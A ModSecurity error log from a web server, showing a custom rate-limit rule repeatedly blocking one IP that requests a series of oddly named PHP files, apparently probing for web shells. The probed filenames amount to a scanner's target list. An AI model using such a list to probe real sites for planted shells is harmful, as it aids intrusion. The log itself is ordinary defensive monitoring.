[Tue Jan 06 22:43:51.918475 2026] [:error] [pid 45012:tid 45016] [client 4.196.115.91:15772] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca4.php"] [unique_id "aV0fpxaMAxCuju1d0uYiTQAAAMI"]
[Tue Jan 06 22:43:52.745092 2026] [:error] [pid 44903:tid 44907] [client 4.196.115.91:15154] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alex.php"] [unique_id "aV0fqNhHqjs38zbkQPA1DAAAAAA"]
[Tue Jan 06 22:43:53.219527 2026] [:error] [pid 44905:tid 44970] [client 4.196.115.91:11917] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alex.php"] [unique_id "aV0fqbu7ufwWVst9EAsETwAAAII"]
[Tue Jan 06 22:44:09.759513 2026] [:error] [pid 45959:tid 45982] [client 4.196.115.91:14776] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aV0fuVajdn8P3hjgMYwMDwAAAVQ"]
[Tue Jan 06 22:44:14.255823 2026] [:error] [pid 45959:tid 45967] [client 4.196.115.91:1952] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aV0fvlajdn8P3hjgMYwMFgAAAUU"]
[Tue Jan 06 22:44:16.612590 2026] [:error] [pid 45959:tid 45974] [client 4.196.115.91:14866] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aV0fwFajdn8P3hjgMYwMFwAAAUw"]
[Tue Jan 06 22:44:17.845264 2026] [:error] [pid 45959:tid 45966] [client 4.196.115.91:12417] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aV0fwVajdn8P3hjgMYwMGAAAAUQ"]
[Tue Jan 06 22:44:18.908014 2026] [:error] [pid 44904:tid 44961] [client 4.196.115.91:14868] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nhsba.php"] [unique_id "aV0fwjtieuI1BJEZcvdQXAAAAFQ"]
[Tue Jan 06 22:44:20.263441 2026] [:error] [pid 44905:tid 44982] [client 4.196.115.91:13634] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nhsba.php"] [unique_id "aV0fxLu7ufwWVst9EAsEZQAAAI4"]
[Tue Jan 06 22:44:23.094063 2026] [:error] [pid 45012:tid 45032] [client 4.196.115.91:18813] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nhsba.php"] [unique_id "aV0fxxaMAxCuju1d0uYiaAAAANI"]
[Tue Jan 06 22:44:23.211272 2026] [:error] [pid 45012:tid 45019] [client 4.196.115.91:18525] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nhsba.php"] [unique_id "aV0fxxaMAxCuju1d0uYiaQAAAMU"]
[Tue Jan 06 22:44:24.040564 2026] [:error] [pid 35140:tid 35153] [client 4.196.115.91:18281] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfsfs.php"] [unique_id "aV0fyHoQaIDFMbT-XMzuqAAAAQs"]
[Tue Jan 06 22:44:24.501546 2026] [:error] [pid 44905:tid 44984] [client 4.196.115.91:15934] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfsfs.php"] [unique_id "aV0fyLu7ufwWVst9EAsEagAAAJA"]
[Tue Jan 06 22:44:25.443312 2026] [:error] [pid 45012:tid 45021] [client 4.196.115.91:13677] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfsfs.php"] [unique_id "aV0fyRaMAxCuju1d0uYiawAAAMc"]
[Tue Jan 06 22:44:26.759255 2026] [:error] [pid 35140:tid 35145] [client 4.196.115.91:13660] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfsfs.php"] [unique_id "aV0fynoQaIDFMbT-XMzurgAAAQM"]
[Tue Jan 06 22:44:28.849744 2026] [:error] [pid 45012:tid 45022] [client 4.196.115.91:18241] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca5.php"] [unique_id "aV0fzBaMAxCuju1d0uYicgAAAMg"]
[Tue Jan 06 22:44:29.359854 2026] [:error] [pid 35140:tid 35146] [client 4.196.115.91:18263] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca5.php"] [unique_id "aV0fzXoQaIDFMbT-XMzusQAAAQQ"]
[Tue Jan 06 22:44:32.490073 2026] [:error] [pid 45959:tid 45986] [client 4.196.115.91:14999] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca5.php"] [unique_id "aV0f0Fajdn8P3hjgMYwMIAAAAVg"]
[Tue Jan 06 22:44:33.966052 2026] [:error] [pid 45959:tid 45971] [client 4.196.115.91:12938] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca5.php"] [unique_id "aV0f0Vajdn8P3hjgMYwMIwAAAUk"]
[Tue Jan 06 22:44:38.654764 2026] [:error] [pid 35140:tid 35154] [client 4.196.115.91:10773] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xl6.php"] [unique_id "aV0f1noQaIDFMbT-XMzuvQAAAQw"]
[Tue Jan 06 22:44:39.531327 2026] [:error] [pid 35140:tid 35151] [client 4.196.115.91:16784] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xl6.php"] [unique_id "aV0f13oQaIDFMbT-XMzuvgAAAQk"]
[Tue Jan 06 22:44:39.763453 2026] [:error] [pid 44904:tid 44952] [client 4.196.115.91:14913] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xl6.php"] [unique_id "aV0f1ztieuI1BJEZcvdQXgAAAEs"]
[Tue Jan 06 22:44:40.245763 2026] [:error] [pid 44904:tid 44944] [client 4.196.115.91:18288] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xl6.php"] [unique_id "aV0f2DtieuI1BJEZcvdQXwAAAEM"]
[Tue Jan 06 22:44:41.399774 2026] [:error] [pid 44904:tid 44941] [client 4.196.115.91:17420] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xnitp.php"] [unique_id "aV0f2TtieuI1BJEZcvdQYAAAAEA"]
[Tue Jan 06 22:44:42.139831 2026] [:error] [pid 45959:tid 45978] [client 4.196.115.91:18323] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xnitp.php"] [unique_id "aV0f2lajdn8P3hjgMYwMJgAAAVA"]
[Tue Jan 06 22:44:46.180535 2026] [:error] [pid 44903:tid 44922] [client 4.196.115.91:18257] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xnitp.php"] [unique_id "aV0f3thHqjs38zbkQPA1JwAAAA8"]
[Tue Jan 06 22:44:46.783864 2026] [:error] [pid 45959:tid 45963] [client 4.196.115.91:18343] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xnitp.php"] [unique_id "aV0f3lajdn8P3hjgMYwMNQAAAUE"]
[Tue Jan 06 22:44:53.922486 2026] [:error] [pid 45012:tid 45032] [client 4.196.115.91:12268] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aV0f5RaMAxCuju1d0uYiggAAANI"]
[Tue Jan 06 22:44:54.642561 2026] [:error] [pid 45012:tid 45033] [client 4.196.115.91:9748] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aV0f5haMAxCuju1d0uYihAAAANM"]
[Tue Jan 06 22:44:54.948414 2026] [:error] [pid 35140:tid 35160] [client 4.196.115.91:9743] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aV0f5noQaIDFMbT-XMzuxgAAARI"]
[Tue Jan 06 22:44:55.374445 2026] [:error] [pid 45012:tid 45025] [client 4.196.115.91:18304] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aV0f5xaMAxCuju1d0uYihgAAAMs"]
[Tue Jan 06 22:45:02.773040 2026] [:error] [pid 45959:tid 45962] [client 4.196.115.91:12947] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanz.php"] [unique_id "aV0f7lajdn8P3hjgMYwMRAAAAUA"]
[Tue Jan 06 22:45:05.870835 2026] [:error] [pid 45012:tid 45016] [client 4.196.115.91:18354] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanz.php"] [unique_id "aV0f8RaMAxCuju1d0uYilgAAAMI"]
[Tue Jan 06 22:45:06.211936 2026] [:error] [pid 45012:tid 45017] [client 4.196.115.91:9739] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanz.php"] [unique_id "aV0f8haMAxCuju1d0uYimgAAAMM"]
[Tue Jan 06 22:45:07.938728 2026] [:error] [pid 45959:tid 45971] [client 4.196.115.91:14918] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanz.php"] [unique_id "aV0f81ajdn8P3hjgMYwMUAAAAUk"]
[Tue Jan 06 22:45:26.238961 2026] [:error] [pid 45012:tid 45025] [client 4.196.115.91:12243] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aV0gBhaMAxCuju1d0uYiugAAAMs"]
[Tue Jan 06 22:45:28.303934 2026] [:error] [pid 44904:tid 44950] [client 4.196.115.91:18331] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aV0gCDtieuI1BJEZcvdQlwAAAEk"]
[Tue Jan 06 22:45:28.884705 2026] [:error] [pid 44904:tid 44960] [client 4.196.115.91:12233] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aV0gCDtieuI1BJEZcvdQmQAAAFM"]
[Tue Jan 06 22:45:29.456744 2026] [:error] [pid 45959:tid 45972] [client 4.196.115.91:18305] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aV0gCVajdn8P3hjgMYwMZgAAAUo"]
[Tue Jan 06 22:45:30.907841 2026] [:error] [pid 45959:tid 45984] [client 4.196.115.91:15014] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuwno.php"] [unique_id "aV0gClajdn8P3hjgMYwMagAAAVY"]
[Tue Jan 06 22:45:31.802784 2026] [:error] [pid 44905:tid 44969] [client 4.196.115.91:18557] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuwno.php"] [unique_id "aV0gC7u7ufwWVst9EAsEpgAAAIE"]
[Tue Jan 06 22:45:32.221731 2026] [:error] [pid 35140:tid 35143] [client 4.196.115.91:12428] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuwno.php"] [unique_id "aV0gDHoQaIDFMbT-XMzu3wAAAQE"]
[Tue Jan 06 22:45:32.577710 2026] [:error] [pid 45012:tid 45015] [client 4.196.115.91:18553] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuwno.php"] [unique_id "aV0gDBaMAxCuju1d0uYivAAAAME"]
[Tue Jan 06 22:45:34.100229 2026] [:error] [pid 44904:tid 44954] [client 4.196.115.91:12991] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aV0gDjtieuI1BJEZcvdQoQAAAE0"]
[Tue Jan 06 22:45:36.321505 2026] [:error] [pid 45012:tid 45023] [client 4.196.115.91:13663] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aV0gEBaMAxCuju1d0uYiwQAAAMk"]
[Tue Jan 06 22:45:37.372704 2026] [:error] [pid 45959:tid 45981] [client 4.196.115.91:15558] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aV0gEVajdn8P3hjgMYwMcAAAAVM"]
[Tue Jan 06 22:45:38.151114 2026] [:error] [pid 44904:tid 44948] [client 4.196.115.91:12423] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aV0gEjtieuI1BJEZcvdQpQAAAEc"]
[Tue Jan 06 22:45:38.901199 2026] [:error] [pid 44904:tid 44965] [client 4.196.115.91:12242] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l.php"] [unique_id "aV0gEjtieuI1BJEZcvdQpwAAAFg"]
[Tue Jan 06 22:45:40.387197 2026] [:error] [pid 44904:tid 44942] [client 4.196.115.91:18505] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l.php"] [unique_id "aV0gFDtieuI1BJEZcvdQqAAAAEE"]
[Tue Jan 06 22:45:51.218977 2026] [:error] [pid 44903:tid 44913] [client 4.196.115.91:13667] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l.php"] [unique_id "aV0gH9hHqjs38zbkQPA1WQAAAAY"]
[Tue Jan 06 22:45:52.308392 2026] [:error] [pid 45959:tid 45982] [client 4.196.115.91:12457] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l.php"] [unique_id "aV0gIFajdn8P3hjgMYwMhQAAAVQ"]
[Tue Jan 06 22:45:52.699162 2026] [:error] [pid 45959:tid 45980] [client 4.196.115.91:18755] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxdxn.php"] [unique_id "aV0gIFajdn8P3hjgMYwMhgAAAVI"]
[Tue Jan 06 22:45:53.529619 2026] [:error] [pid 44905:tid 44984] [client 4.196.115.91:12459] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxdxn.php"] [unique_id "aV0gIbu7ufwWVst9EAsExQAAAJA"]
[Tue Jan 06 22:45:56.510774 2026] [:error] [pid 45012:tid 45034] [client 4.196.115.91:14949] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxdxn.php"] [unique_id "aV0gJBaMAxCuju1d0uYi0QAAANQ"]
[Tue Jan 06 22:45:57.660507 2026] [:error] [pid 35140:tid 35162] [client 4.196.115.91:12436] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxdxn.php"] [unique_id "aV0gJXoQaIDFMbT-XMzu6AAAARQ"]
[Tue Jan 06 22:45:58.400928 2026] [:error] [pid 44905:tid 44980] [client 4.196.115.91:18787] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nsexz.php"] [unique_id "aV0gJru7ufwWVst9EAsEywAAAIw"]
[Tue Jan 06 22:46:01.478836 2026] [:error] [pid 35140:tid 35149] [client 4.196.115.91:18319] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nsexz.php"] [unique_id "aV0gKXoQaIDFMbT-XMzu6wAAAQc"]
